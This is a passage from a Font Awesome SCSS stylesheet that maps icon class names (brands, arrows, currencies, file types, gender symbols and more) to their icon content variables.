}\n.#{$fa-css-prefix}-fighter-jet:before { content: $fa-var-fighter-jet; }\n.#{$fa-css-prefix}-beer:before { content: $fa-var-beer; }\n.#{$fa-css-prefix}-h-square:before { content: $fa-var-h-square; }\n.#{$fa-css-prefix}-plus-square:before { content: $fa-var-plus-square; }\n.#{$fa-css-prefix}-angle-double-left:before { content: $fa-var-angle-double-left; }\n.#{$fa-css-prefix}-angle-double-right:before { content: $fa-var-angle-double-right; }\n.#{$fa-css-prefix}-angle-double-up:before { content: $fa-var-angle-double-up; }\n.#{$fa-css-prefix}-angle-double-down:before { content: $fa-var-angle-double-down; }\n.#{$fa-css-prefix}-angle-left:before { content: $fa-var-angle-left; }\n.#{$fa-css-prefix}-angle-right:before { content: $fa-var-angle-right; }\n.#{$fa-css-prefix}-angle-up:before { content: $fa-var-angle-up; }\n.#{$fa-css-prefix}-angle-down:before { content: $fa-var-angle-down; }\n.#{$fa-css-prefix}-desktop:before { content: $fa-var-desktop; }\n.#{$fa-css-prefix}-laptop:before { content: $fa-var-laptop; }\n.#{$fa-css-prefix}-tablet:before { content: $fa-var-tablet; }\n.#{$fa-css-prefix}-mobile-phone:before,\n.#{$fa-css-prefix}-mobile:before { content: $fa-var-mobile; }\n.#{$fa-css-prefix}-circle-o:before { content: $fa-var-circle-o; }\n.#{$fa-css-prefix}-quote-left:before { content: $fa-var-quote-left; }\n.#{$fa-css-prefix}-quote-right:before { content: $fa-var-quote-right; }\n.#{$fa-css-prefix}-spinner:before { content: $fa-var-spinner; }\n.#{$fa-css-prefix}-circle:before { content: $fa-var-circle; }\n.#{$fa-css-prefix}-mail-reply:before,\n.#{$fa-css-prefix}-reply:before { content: $fa-var-reply; }\n.#{$fa-css-prefix}-github-alt:before { content: $fa-var-github-alt; }\n.#{$fa-css-prefix}-folder-o:before { content: $fa-var-folder-o; }\n.#{$fa-css-prefix}-folder-open-o:before { content: $fa-var-folder-open-o; }\n.#{$fa-css-prefix}-smile-o:before { content: $fa-var-smile-o; }\n.#{$fa-css-prefix}-frown-o:before { content: $fa-var-frown-o; }\n.#{$fa-css-prefix}-meh-o:before { content: $fa-var-meh-o; }\n.#{$fa-css-prefix}-gamepad:before { content: $fa-var-gamepad; }\n.#{$fa-css-prefix}-keyboard-o:before { content: $fa-var-keyboard-o; }\n.#{$fa-css-prefix}-flag-o:before { content: $fa-var-flag-o; }\n.#{$fa-css-prefix}-flag-checkered:before { content: $fa-var-flag-checkered; }\n.#{$fa-css-prefix}-terminal:before { content: $fa-var-terminal; }\n.#{$fa-css-prefix}-code:before { content: $fa-var-code; }\n.#{$fa-css-prefix}-mail-reply-all:before,\n.#{$fa-css-prefix}-reply-all:before { content: $fa-var-reply-all; }\n.#{$fa-css-prefix}-star-half-empty:before,\n.#{$fa-css-prefix}-star-half-full:before,\n.#{$fa-css-prefix}-star-half-o:before { content: $fa-var-star-half-o; }\n.#{$fa-css-prefix}-location-arrow:before { content: $fa-var-location-arrow; }\n.#{$fa-css-prefix}-crop:before { content: $fa-var-crop; }\n.#{$fa-css-prefix}-code-fork:before { content: $fa-var-code-fork; }\n.#{$fa-css-prefix}-unlink:before,\n.#{$fa-css-prefix}-chain-broken:before { content: $fa-var-chain-broken; }\n.#{$fa-css-prefix}-question:before { content: $fa-var-question; }\n.#{$fa-css-prefix}-info:before { content: $fa-var-info; }\n.#{$fa-css-prefix}-exclamation:before { content: $fa-var-exclamation; }\n.#{$fa-css-prefix}-superscript:before { content: $fa-var-superscript; }\n.#{$fa-css-prefix}-subscript:before { content: $fa-var-subscript; }\n.#{$fa-css-prefix}-eraser:before { content: $fa-var-eraser; }\n.#{$fa-css-prefix}-puzzle-piece:before { content: $fa-var-puzzle-piece; }\n.#{$fa-css-prefix}-microphone:before { content: $fa-var-microphone; }\n.#{$fa-css-prefix}-microphone-slash:before { content: $fa-var-microphone-slash; }\n.#{$fa-css-prefix}-shield:before { content: $fa-var-shield; }\n.#{$fa-css-prefix}-calendar-o:before { content: $fa-var-calendar-o; }\n.#{$fa-css-prefix}-fire-extinguisher:before { content: $fa-var-fire-extinguisher; }\n.#{$fa-css-prefix}-rocket:before { content: $fa-var-rocket; }\n.#{$fa-css-prefix}-maxcdn:before { content: $fa-var-maxcdn; }\n.#{$fa-css-prefix}-chevron-circle-left:before { content: $fa-var-chevron-circle-left; }\n.#{$fa-css-prefix}-chevron-circle-right:before { content: $fa-var-chevron-circle-right; }\n.#{$fa-css-prefix}-chevron-circle-up:before { content: $fa-var-chevron-circle-up; }\n.#{$fa-css-prefix}-chevron-circle-down:before { content: $fa-var-chevron-circle-down; }\n.#{$fa-css-prefix}-html5:before { content: $fa-var-html5; }\n.#{$fa-css-prefix}-css3:before { content: $fa-var-css3; }\n.#{$fa-css-prefix}-anchor:before { content: $fa-var-anchor; }\n.#{$fa-css-prefix}-unlock-alt:before { content: $fa-var-unlock-alt; }\n.#{$fa-css-prefix}-bullseye:before { content: $fa-var-bullseye; }\n.#{$fa-css-prefix}-ellipsis-h:before { content: $fa-var-ellipsis-h; }\n.#{$fa-css-prefix}-ellipsis-v:before { content: $fa-var-ellipsis-v; }\n.#{$fa-css-prefix}-rss-square:before { content: $fa-var-rss-square; }\n.#{$fa-css-prefix}-play-circle:before { content: $fa-var-play-circle; }\n.#{$fa-css-prefix}-ticket:before { content: $fa-var-ticket; }\n.#{$fa-css-prefix}-minus-square:before { content: $fa-var-minus-square; }\n.#{$fa-css-prefix}-minus-square-o:before { content: $fa-var-minus-square-o; }\n.#{$fa-css-prefix}-level-up:before { content: $fa-var-level-up; }\n.#{$fa-css-prefix}-level-down:before { content: $fa-var-level-down; }\n.#{$fa-css-prefix}-check-square:before { content: $fa-var-check-square; }\n.#{$fa-css-prefix}-pencil-square:before { content: $fa-var-pencil-square; }\n.#{$fa-css-prefix}-external-link-square:before { content: $fa-var-external-link-square; }\n.#{$fa-css-prefix}-share-square:before { content: $fa-var-share-square; }\n.#{$fa-css-prefix}-compass:before { content: $fa-var-compass; }\n.#{$fa-css-prefix}-toggle-down:before,\n.#{$fa-css-prefix}-caret-square-o-down:before { content: $fa-var-caret-square-o-down; }\n.#{$fa-css-prefix}-toggle-up:before,\n.#{$fa-css-prefix}-caret-square-o-up:before { content: $fa-var-caret-square-o-up; }\n.#{$fa-css-prefix}-toggle-right:before,\n.#{$fa-css-prefix}-caret-square-o-right:before { content: $fa-var-caret-square-o-right; }\n.#{$fa-css-prefix}-euro:before,\n.#{$fa-css-prefix}-eur:before { content: $fa-var-eur; }\n.#{$fa-css-prefix}-gbp:before { content: $fa-var-gbp; }\n.#{$fa-css-prefix}-dollar:before,\n.#{$fa-css-prefix}-usd:before { content: $fa-var-usd; }\n.#{$fa-css-prefix}-rupee:before,\n.#{$fa-css-prefix}-inr:before { content: $fa-var-inr; }\n.#{$fa-css-prefix}-cny:before,\n.#{$fa-css-prefix}-rmb:before,\n.#{$fa-css-prefix}-yen:before,\n.#{$fa-css-prefix}-jpy:before { content: $fa-var-jpy; }\n.#{$fa-css-prefix}-ruble:before,\n.#{$fa-css-prefix}-rouble:before,\n.#{$fa-css-prefix}-rub:before { content: $fa-var-rub; }\n.#{$fa-css-prefix}-won:before,\n.#{$fa-css-prefix}-krw:before { content: $fa-var-krw; }\n.#{$fa-css-prefix}-bitcoin:before,\n.#{$fa-css-prefix}-btc:before { content: $fa-var-btc; }\n.#{$fa-css-prefix}-file:before { content: $fa-var-file; }\n.#{$fa-css-prefix}-file-text:before { content: $fa-var-file-text; }\n.#{$fa-css-prefix}-sort-alpha-asc:before { content: $fa-var-sort-alpha-asc; }\n.#{$fa-css-prefix}-sort-alpha-desc:before { content: $fa-var-sort-alpha-desc; }\n.#{$fa-css-prefix}-sort-amount-asc:before { content: $fa-var-sort-amount-asc; }\n.#{$fa-css-prefix}-sort-amount-desc:before { content: $fa-var-sort-amount-desc; }\n.#{$fa-css-prefix}-sort-numeric-asc:before { content: $fa-var-sort-numeric-asc; }\n.#{$fa-css-prefix}-sort-numeric-desc:before { content: $fa-var-sort-numeric-desc; }\n.#{$fa-css-prefix}-thumbs-up:before { content: $fa-var-thumbs-up; }\n.#{$fa-css-prefix}-thumbs-down:before { content: $fa-var-thumbs-down; }\n.#{$fa-css-prefix}-youtube-square:before { content: $fa-var-youtube-square; }\n.#{$fa-css-prefix}-youtube:before { content: $fa-var-youtube; }\n.#{$fa-css-prefix}-xing:before { content: $fa-var-xing; }\n.#{$fa-css-prefix}-xing-square:before { content: $fa-var-xing-square; }\n.#{$fa-css-prefix}-youtube-play:before { content: $fa-var-youtube-play; }\n.#{$fa-css-prefix}-dropbox:before { content: $fa-var-dropbox; }\n.#{$fa-css-prefix}-stack-overflow:before { content: $fa-var-stack-overflow; }\n.#{$fa-css-prefix}-instagram:before { content: $fa-var-instagram; }\n.#{$fa-css-prefix}-flickr:before { content: $fa-var-flickr; }\n.#{$fa-css-prefix}-adn:before { content: $fa-var-adn; }\n.#{$fa-css-prefix}-bitbucket:before { content: $fa-var-bitbucket; }\n.#{$fa-css-prefix}-bitbucket-square:before { content: $fa-var-bitbucket-square; }\n.#{$fa-css-prefix}-tumblr:before { content: $fa-var-tumblr; }\n.#{$fa-css-prefix}-tumblr-square:before { content: $fa-var-tumblr-square; }\n.#{$fa-css-prefix}-long-arrow-down:before { content: $fa-var-long-arrow-down; }\n.#{$fa-css-prefix}-long-arrow-up:before { content: $fa-var-long-arrow-up; }\n.#{$fa-css-prefix}-long-arrow-left:before { content: $fa-var-long-arrow-left; }\n.#{$fa-css-prefix}-long-arrow-right:before { content: $fa-var-long-arrow-right; }\n.#{$fa-css-prefix}-apple:before { content: $fa-var-apple; }\n.#{$fa-css-prefix}-windows:before { content: $fa-var-windows; }\n.#{$fa-css-prefix}-android:before { content: $fa-var-android; }\n.#{$fa-css-prefix}-linux:before { content: $fa-var-linux; }\n.#{$fa-css-prefix}-dribbble:before { content: $fa-var-dribbble; }\n.#{$fa-css-prefix}-skype:before { content: $fa-var-skype; }\n.#{$fa-css-prefix}-foursquare:before { content: $fa-var-foursquare; }\n.#{$fa-css-prefix}-trello:before { content: $fa-var-trello; }\n.#{$fa-css-prefix}-female:before { content: $fa-var-female; }\n.#{$fa-css-prefix}-male:before { content: $fa-var-male; }\n.#{$fa-css-prefix}-gittip:before,\n.#{$fa-css-prefix}-gratipay:before { content: $fa-var-gratipay; }\n.#{$fa-css-prefix}-sun-o:before { content: $fa-var-sun-o; }\n.#{$fa-css-prefix}-moon-o:before { content: $fa-var-moon-o; }\n.#{$fa-css-prefix}-archive:before { content: $fa-var-archive; }\n.#{$fa-css-prefix}-bug:before { content: $fa-var-bug; }\n.#{$fa-css-prefix}-vk:before { content: $fa-var-vk; }\n.#{$fa-css-prefix}-weibo:before { content: $fa-var-weibo; }\n.#{$fa-css-prefix}-renren:before { content: $fa-var-renren; }\n.#{$fa-css-prefix}-pagelines:before { content: $fa-var-pagelines; }\n.#{$fa-css-prefix}-stack-exchange:before { content: $fa-var-stack-exchange; }\n.#{$fa-css-prefix}-arrow-circle-o-right:before { content: $fa-var-arrow-circle-o-right; }\n.#{$fa-css-prefix}-arrow-circle-o-left:before { content: $fa-var-arrow-circle-o-left; }\n.#{$fa-css-prefix}-toggle-left:before,\n.#{$fa-css-prefix}-caret-square-o-left:before { content: $fa-var-caret-square-o-left; }\n.#{$fa-css-prefix}-dot-circle-o:before { content: $fa-var-dot-circle-o; }\n.#{$fa-css-prefix}-wheelchair:before { content: $fa-var-wheelchair; }\n.#{$fa-css-prefix}-vimeo-square:before { content: $fa-var-vimeo-square; }\n.#{$fa-css-prefix}-turkish-lira:before,\n.#{$fa-css-prefix}-try:before { content: $fa-var-try; }\n.#{$fa-css-prefix}-plus-square-o:before { content: $fa-var-plus-square-o; }\n.#{$fa-css-prefix}-space-shuttle:before { content: $fa-var-space-shuttle; }\n.#{$fa-css-prefix}-slack:before { content: $fa-var-slack; }\n.#{$fa-css-prefix}-envelope-square:before { content: $fa-var-envelope-square; }\n.#{$fa-css-prefix}-wordpress:before { content: $fa-var-wordpress; }\n.#{$fa-css-prefix}-openid:before { content: $fa-var-openid; }\n.#{$fa-css-prefix}-institution:before,\n.#{$fa-css-prefix}-bank:before,\n.#{$fa-css-prefix}-university:before { content: $fa-var-university; }\n.#{$fa-css-prefix}-mortar-board:before,\n.#{$fa-css-prefix}-graduation-cap:before { content: $fa-var-graduation-cap; }\n.#{$fa-css-prefix}-yahoo:before { content: $fa-var-yahoo; }\n.#{$fa-css-prefix}-google:before { content: $fa-var-google; }\n.#{$fa-css-prefix}-reddit:before { content: $fa-var-reddit; }\n.#{$fa-css-prefix}-reddit-square:before { content: $fa-var-reddit-square; }\n.#{$fa-css-prefix}-stumbleupon-circle:before { content: $fa-var-stumbleupon-circle; }\n.#{$fa-css-prefix}-stumbleupon:before { content: $fa-var-stumbleupon; }\n.#{$fa-css-prefix}-delicious:before { content: $fa-var-delicious; }\n.#{$fa-css-prefix}-digg:before { content: $fa-var-digg; }\n.#{$fa-css-prefix}-pied-piper-pp:before { content: $fa-var-pied-piper-pp; }\n.#{$fa-css-prefix}-pied-piper-alt:before { content: $fa-var-pied-piper-alt; }\n.#{$fa-css-prefix}-drupal:before { content: $fa-var-drupal; }\n.#{$fa-css-prefix}-joomla:before { content: $fa-var-joomla; }\n.#{$fa-css-prefix}-language:before { content: $fa-var-language; }\n.#{$fa-css-prefix}-fax:before { content: $fa-var-fax; }\n.#{$fa-css-prefix}-building:before { content: $fa-var-building; }\n.#{$fa-css-prefix}-child:before { content: $fa-var-child; }\n.#{$fa-css-prefix}-paw:before { content: $fa-var-paw; }\n.#{$fa-css-prefix}-spoon:before { content: $fa-var-spoon; }\n.#{$fa-css-prefix}-cube:before { content: $fa-var-cube; }\n.#{$fa-css-prefix}-cubes:before { content: $fa-var-cubes; }\n.#{$fa-css-prefix}-behance:before { content: $fa-var-behance; }\n.#{$fa-css-prefix}-behance-square:before { content: $fa-var-behance-square; }\n.#{$fa-css-prefix}-steam:before { content: $fa-var-steam; }\n.#{$fa-css-prefix}-steam-square:before { content: $fa-var-steam-square; }\n.#{$fa-css-prefix}-recycle:before { content: $fa-var-recycle; }\n.#{$fa-css-prefix}-automobile:before,\n.#{$fa-css-prefix}-car:before { content: $fa-var-car; }\n.#{$fa-css-prefix}-cab:before,\n.#{$fa-css-prefix}-taxi:before { content: $fa-var-taxi; }\n.#{$fa-css-prefix}-tree:before { content: $fa-var-tree; }\n.#{$fa-css-prefix}-spotify:before { content: $fa-var-spotify; }\n.#{$fa-css-prefix}-deviantart:before { content: $fa-var-deviantart; }\n.#{$fa-css-prefix}-soundcloud:before { content: $fa-var-soundcloud; }\n.#{$fa-css-prefix}-database:before { content: $fa-var-database; }\n.#{$fa-css-prefix}-file-pdf-o:before { content: $fa-var-file-pdf-o; }\n.#{$fa-css-prefix}-file-word-o:before { content: $fa-var-file-word-o; }\n.#{$fa-css-prefix}-file-excel-o:before { content: $fa-var-file-excel-o; }\n.#{$fa-css-prefix}-file-powerpoint-o:before { content: $fa-var-file-powerpoint-o; }\n.#{$fa-css-prefix}-file-photo-o:before,\n.#{$fa-css-prefix}-file-picture-o:before,\n.#{$fa-css-prefix}-file-image-o:before { content: $fa-var-file-image-o; }\n.#{$fa-css-prefix}-file-zip-o:before,\n.#{$fa-css-prefix}-file-archive-o:before { content: $fa-var-file-archive-o; }\n.#{$fa-css-prefix}-file-sound-o:before,\n.#{$fa-css-prefix}-file-audio-o:before { content: $fa-var-file-audio-o; }\n.#{$fa-css-prefix}-file-movie-o:before,\n.#{$fa-css-prefix}-file-video-o:before { content: $fa-var-file-video-o; }\n.#{$fa-css-prefix}-file-code-o:before { content: $fa-var-file-code-o; }\n.#{$fa-css-prefix}-vine:before { content: $fa-var-vine; }\n.#{$fa-css-prefix}-codepen:before { content: $fa-var-codepen; }\n.#{$fa-css-prefix}-jsfiddle:before { content: $fa-var-jsfiddle; }\n.#{$fa-css-prefix}-life-bouy:before,\n.#{$fa-css-prefix}-life-buoy:before,\n.#{$fa-css-prefix}-life-saver:before,\n.#{$fa-css-prefix}-support:before,\n.#{$fa-css-prefix}-life-ring:before { content: $fa-var-life-ring; }\n.#{$fa-css-prefix}-circle-o-notch:before { content: $fa-var-circle-o-notch; }\n.#{$fa-css-prefix}-ra:before,\n.#{$fa-css-prefix}-resistance:before,\n.#{$fa-css-prefix}-rebel:before { content: $fa-var-rebel; }\n.#{$fa-css-prefix}-ge:before,\n.#{$fa-css-prefix}-empire:before { content: $fa-var-empire; }\n.#{$fa-css-prefix}-git-square:before { content: $fa-var-git-square; }\n.#{$fa-css-prefix}-git:before { content: $fa-var-git; }\n.#{$fa-css-prefix}-y-combinator-square:before,\n.#{$fa-css-prefix}-yc-square:before,\n.#{$fa-css-prefix}-hacker-news:before { content: $fa-var-hacker-news; }\n.#{$fa-css-prefix}-tencent-weibo:before { content: $fa-var-tencent-weibo; }\n.#{$fa-css-prefix}-qq:before { content: $fa-var-qq; }\n.#{$fa-css-prefix}-wechat:before,\n.#{$fa-css-prefix}-weixin:before { content: $fa-var-weixin; }\n.#{$fa-css-prefix}-send:before,\n.#{$fa-css-prefix}-paper-plane:before { content: $fa-var-paper-plane; }\n.#{$fa-css-prefix}-send-o:before,\n.#{$fa-css-prefix}-paper-plane-o:before { content: $fa-var-paper-plane-o; }\n.#{$fa-css-prefix}-history:before { content: $fa-var-history; }\n.#{$fa-css-prefix}-circle-thin:before { content: $fa-var-circle-thin; }\n.#{$fa-css-prefix}-header:before { content: $fa-var-header; }\n.#{$fa-css-prefix}-paragraph:before { content: $fa-var-paragraph; }\n.#{$fa-css-prefix}-sliders:before { content: $fa-var-sliders; }\n.#{$fa-css-prefix}-share-alt:before { content: $fa-var-share-alt; }\n.#{$fa-css-prefix}-share-alt-square:before { content: $fa-var-share-alt-square; }\n.#{$fa-css-prefix}-bomb:before { content: $fa-var-bomb; }\n.#{$fa-css-prefix}-soccer-ball-o:before,\n.#{$fa-css-prefix}-futbol-o:before { content: $fa-var-futbol-o; }\n.#{$fa-css-prefix}-tty:before { content: $fa-var-tty; }\n.#{$fa-css-prefix}-binoculars:before { content: $fa-var-binoculars; }\n.#{$fa-css-prefix}-plug:before { content: $fa-var-plug; }\n.#{$fa-css-prefix}-slideshare:before { content: $fa-var-slideshare; }\n.#{$fa-css-prefix}-twitch:before { content: $fa-var-twitch; }\n.#{$fa-css-prefix}-yelp:before { content: $fa-var-yelp; }\n.#{$fa-css-prefix}-newspaper-o:before { content: $fa-var-newspaper-o; }\n.#{$fa-css-prefix}-wifi:before { content: $fa-var-wifi; }\n.#{$fa-css-prefix}-calculator:before { content: $fa-var-calculator; }\n.#{$fa-css-prefix}-paypal:before { content: $fa-var-paypal; }\n.#{$fa-css-prefix}-google-wallet:before { content: $fa-var-google-wallet; }\n.#{$fa-css-prefix}-cc-visa:before { content: $fa-var-cc-visa; }\n.#{$fa-css-prefix}-cc-mastercard:before { content: $fa-var-cc-mastercard; }\n.#{$fa-css-prefix}-cc-discover:before { content: $fa-var-cc-discover; }\n.#{$fa-css-prefix}-cc-amex:before { content: $fa-var-cc-amex; }\n.#{$fa-css-prefix}-cc-paypal:before { content: $fa-var-cc-paypal; }\n.#{$fa-css-prefix}-cc-stripe:before { content: $fa-var-cc-stripe; }\n.#{$fa-css-prefix}-bell-slash:before { content: $fa-var-bell-slash; }\n.#{$fa-css-prefix}-bell-slash-o:before { content: $fa-var-bell-slash-o; }\n.#{$fa-css-prefix}-trash:before { content: $fa-var-trash; }\n.#{$fa-css-prefix}-copyright:before { content: $fa-var-copyright; }\n.#{$fa-css-prefix}-at:before { content: $fa-var-at; }\n.#{$fa-css-prefix}-eyedropper:before { content: $fa-var-eyedropper; }\n.#{$fa-css-prefix}-paint-brush:before { content: $fa-var-paint-brush; }\n.#{$fa-css-prefix}-birthday-cake:before { content: $fa-var-birthday-cake; }\n.#{$fa-css-prefix}-area-chart:before { content: $fa-var-area-chart; }\n.#{$fa-css-prefix}-pie-chart:before { content: $fa-var-pie-chart; }\n.#{$fa-css-prefix}-line-chart:before { content: $fa-var-line-chart; }\n.#{$fa-css-prefix}-lastfm:before { content: $fa-var-lastfm; }\n.#{$fa-css-prefix}-lastfm-square:before { content: $fa-var-lastfm-square; }\n.#{$fa-css-prefix}-toggle-off:before { content: $fa-var-toggle-off; }\n.#{$fa-css-prefix}-toggle-on:before { content: $fa-var-toggle-on; }\n.#{$fa-css-prefix}-bicycle:before { content: $fa-var-bicycle; }\n.#{$fa-css-prefix}-bus:before { content: $fa-var-bus; }\n.#{$fa-css-prefix}-ioxhost:before { content: $fa-var-ioxhost; }\n.#{$fa-css-prefix}-angellist:before { content: $fa-var-angellist; }\n.#{$fa-css-prefix}-cc:before { content: $fa-var-cc; }\n.#{$fa-css-prefix}-shekel:before,\n.#{$fa-css-prefix}-sheqel:before,\n.#{$fa-css-prefix}-ils:before { content: $fa-var-ils; }\n.#{$fa-css-prefix}-meanpath:before { content: $fa-var-meanpath; }\n.#{$fa-css-prefix}-buysellads:before { content: $fa-var-buysellads; }\n.#{$fa-css-prefix}-connectdevelop:before { content: $fa-var-connectdevelop; }\n.#{$fa-css-prefix}-dashcube:before { content: $fa-var-dashcube; }\n.#{$fa-css-prefix}-forumbee:before { content: $fa-var-forumbee; }\n.#{$fa-css-prefix}-leanpub:before { content: $fa-var-leanpub; }\n.#{$fa-css-prefix}-sellsy:before { content: $fa-var-sellsy; }\n.#{$fa-css-prefix}-shirtsinbulk:before { content: $fa-var-shirtsinbulk; }\n.#{$fa-css-prefix}-simplybuilt:before { content: $fa-var-simplybuilt; }\n.#{$fa-css-prefix}-skyatlas:before { content: $fa-var-skyatlas; }\n.#{$fa-css-prefix}-cart-plus:before { content: $fa-var-cart-plus; }\n.#{$fa-css-prefix}-cart-arrow-down:before { content: $fa-var-cart-arrow-down; }\n.#{$fa-css-prefix}-diamond:before { content: $fa-var-diamond; }\n.#{$fa-css-prefix}-ship:before { content: $fa-var-ship; }\n.#{$fa-css-prefix}-user-secret:before { content: $fa-var-user-secret; }\n.#{$fa-css-prefix}-motorcycle:before { content: $fa-var-motorcycle; }\n.#{$fa-css-prefix}-street-view:before { content: $fa-var-street-view; }\n.#{$fa-css-prefix}-heartbeat:before { content: $fa-var-heartbeat; }\n.#{$fa-css-prefix}-venus:before { content: $fa-var-venus; }\n.#{$fa-css-prefix}-mars:before { content: $fa-var-mars; }\n.#{$fa-css-prefix}-mercury:before { content: $fa-var-mercury; }\n.#{$fa-css-prefix}-intersex:before,\n.#{$fa-css-prefix}-transgender:before { content: $fa-var-transgender; }\n.#{$fa-css-prefix}-transgender-alt:before { content: $fa-var-transgender-alt; }\n.#{$fa-css-prefix}-venus-double:before { content: $fa-var-venus-double; }\n.#{$fa-css-prefix}-mars-double:before { content: $fa-var-mars-double; }\n.#{$fa-css-prefix}-venus-mars:before { content: $fa-var-venus-mars; }\n.#{$fa-css-prefix}-mars-stroke:before { content: $fa-var-mars-stroke; }\n.#{$fa-css-prefix}-mars-stroke-v:before { content: $fa-var-mars-stroke-v; }\n.#{$fa-css-prefix}-mars-stroke-h:before { content: $fa-var-mars-stroke-h; }\n.#{$fa-css-prefix}-neuter:before { content: $fa-var-neuter; }\n.#{$fa-css-prefix}-genderless:before { content: $fa-var-genderless; }\n.#{$fa-css-prefix}-facebook-official:before { content: $fa-var-facebook-official; }\n.#{$fa-css-prefix}-pinterest-p:before { content: $fa-var-pinterest-p; }\n.#{$fa-css-prefix}-whatsapp:before { content: $fa-var-whatsapp; }\n.#{$fa-css-prefix}-server:before { content: $fa-var-server; }\n.#{$fa-css-prefix}-user-plus:before { content: $fa-var-user-plus; }\n.#{$fa-css-prefix}-user-times:before { content: $fa-var-user-times; }\n.#{$fa-css-prefix}-hotel:before,\n.#{$fa-css-prefix}-bed:before { content: $fa-var-bed; }\n.#{$fa-css-prefix}-viacoin:before { content: $fa-var-viacoin; }\n.#{$fa-css-prefix}-train:before { content: $fa-var-train; }\n.#{$fa-css-prefix}-subway:before { content: $fa-var-subway; }\n.#{$fa-css-prefix}-medium:before { content: $fa-var-medium; }\n.#{$fa-css-prefix}-yc:before,\n.#{$fa-css-prefix}-y-combinator:before { content: $fa-var-y-combinator; }\n.#{$fa-css-prefix}-optin-monster:before { content: $fa-var-optin-monster; }\n.#{$fa-css-prefix}-opencart:before { content: $fa-var-opencart; }\n.#{$fa-css-prefix}-expeditedssl:before { content: $fa-var-expeditedssl; }\n.#{$fa-css-prefix}-battery-4:before,\n.#{$fa-css-prefix}-battery:before,\n.#{$fa-css-prefix}-battery-full:before { content: $fa-var-battery-full; }\n.#{$fa-css-prefix}-battery-3:before,\n.#{$fa-css-prefix}-battery-three-quarters:before { content: $fa-var-battery-three-quarters; }\n.#{$fa-css-prefix}-battery-2:before,\n.#{$fa-css-prefix}-battery-half:before { content: $fa-var-battery-half; }\n.#{$fa-css-prefix}-battery-1:before,\n.#{$fa-css-prefix}-battery-quarter:before { content: $fa-var-battery-quarter; }\n.#{$fa-css-prefix}-battery-0:before,\n.#{$fa-css-prefix}-battery-empty:before { content: $fa-var-battery-empty; }\n.#{$fa-css-prefix}-mouse-pointer:before { content: $fa-var-mouse-pointer; }\n.#{$fa-css-prefix}-i-cursor:before { content: $fa-var-i-cursor; }\n.#{$fa-css-prefix}-object-group:before { content: $fa-var-object-group; }\n.#{$fa-css-prefix}-object-ungroup:before { content: $fa-var-object-ungroup; }\n.#{$fa-css-prefix}-sticky-note:before { content: $fa-var-sticky-note; }\n.#{$fa-css-prefix}-sticky-note-o:before { content: $fa-var-sticky-note-o; }\n.#{$fa-css-prefix}-cc-jcb:before { content: $fa-var-cc-jcb; }\n.#{$fa-css-prefix}-cc-diners-club:before { content: $fa-var-cc-diners-club; }\n.#{$fa-css-prefix}-clone:before { content: $fa-var-clone; }\n.#{$fa-css-prefix}-balance-scale:before { content: $fa-var-balance-scale; }\n.#{$fa-css-prefix}-hourglass-o:before { content: $fa-var-hourglass-o; }\n.#{$fa-css-prefix}-hourglass-1:before,\n.#{$fa-css-prefix}-hourglass-start:before { content: $fa-var-hourglass-start; }\n.#{$fa-css-prefix}-hourglass-2:before,\n.#{$fa-css-prefix}-hourglass-half:before { content: $fa-var-hourglass-half; }\n.#{$fa-css-prefix}-hourglass-3:before,\n.#{$fa-css-prefix}-hourglass-end:before { content: $fa-var-hourglass-end; }\n.#{$fa-css-prefix}-hourglass:before { content: $fa-var-hourglass; }\n.#{$fa-css-prefix}-hand-grab-o:before,\n.#{$fa-css-prefix}-hand-rock-o:before { content: $fa-var-hand-rock-o; }\n.#{$fa-css-prefix}-hand-stop-o:before,\n.#{$fa-css-prefix}-hand-paper-o:before { content: $fa-var-hand-paper-o; }\n.#{$fa-css-prefix}-hand-scissors-o:before { content: $fa-var-hand-scissors-o; }\n.#{$fa-css-prefix}-hand-lizard-o:before { content: $fa-var-hand-lizard-o; }\n.#{$fa-css-prefix}-hand-spock-o:before { content: $fa-var-hand-spock-o; }\n.#{$fa-css-prefix}-hand-pointer-o:before { content: $fa-var-hand-pointer-o; }\n.#{$fa-css-prefix}-hand-peace-o:before { content: $fa-var-hand-peace-o; }\n.#{$fa-css-prefix}-trademark:before { content: $fa-var-trademark; }\n.#{$fa-css-prefix}-registered:before { content: $fa-var-registered; }\n.#{$fa-css-prefix}-creative-commons:before { content: $fa-var-creative-commons; }\n.#{$fa-css-prefix}-gg:before { content: $fa-var-gg; }\n.#{$fa-css-prefix}-gg-circle:before { content: $fa-var-gg-circle; }\n.#{$fa-css-prefix}-tripadvisor:before { content: $fa-var-tripadvisor; }\n.#{$fa-css-prefix}-odnoklassniki:before { content: $fa-var-odnoklassniki; }\n.#{$fa-css-prefix}-odnoklassniki-square:before { content: $fa-var-odnoklassniki-square; }\n.#{$fa-css-prefix}-get-pocket:before { content: $fa-var-get-pocket; }\n.#{$fa-css-prefix}-wikipedia-w:before { content: $fa-var-wikipedia-w; }\n.#{$fa-css-prefix}-safari:before { content: $fa-var-safari; }\n.#{$fa-css-prefix}-chrome:before { content: $fa-var-chrome; }\n.#{$fa-css-prefix}-firefox:before { content: $fa-var-firefox; }\n.#{$fa-css-prefix}-opera:before { content: $fa-var-opera; }\n.#{$fa-css-prefix}-internet-explorer:before { content: $fa-var-internet-explorer; }\n.#{$fa-css-prefix}-tv:before,\n.#{$fa-css-prefix}-television:before { content: $fa-var-television; }\n.#{$fa-css-prefix}-contao:before { content: $fa-var-contao; }\n.#{$fa-css-prefix}-500px:before { content: $fa-var-500px; }\n.#{$fa-css-prefix}-amazon:before { content: $fa-var-amazon; }\n.#{$fa-css-prefix}-calendar-plus-o:before { content: $fa-var-calendar-plus-o; }\n.#{$fa-css-prefix}-calendar-minus-o:before { content: $fa-var-calendar-minus-o; }\n.#{$fa-css-prefix}-calendar-times-o:before { content: $fa-var-calendar-times-o; }\n.#{$fa-css-prefix}-calendar-check-o:before { content: $fa-var-calendar-check-o; }\n.#{$fa-css-prefix}-industry:before { content: $fa-var-industry; }\n.#{$fa-css-prefix}-map-pin:before { content: $fa-var-map-pin; }\n.#{$fa-css-prefix}-map-signs:before { content: $fa-var-map-signs; }\n.#{$fa-css-prefix}-map-o:before { content: $fa-var-map-o; }\n.#{$fa-css-prefix}-map:before { content: $fa-var-map; }\n.#{$fa-css-prefix}-commenting:before { content: $fa-var-commenting; }\n.#{$fa-css-prefix}-commenting-o:before { content: $fa-var-commenting-o; }\n.#{$fa-css-prefix}-houzz:before { content: $fa-var-houzz; }\n.#{$fa-css-prefix}-vimeo:before { content: $fa-var-vimeo; }\n.#{$fa-css-prefix}-black-tie:before { content: $fa-var-black-tie; }\n.#{$fa-css-prefix}-fonticons:before { 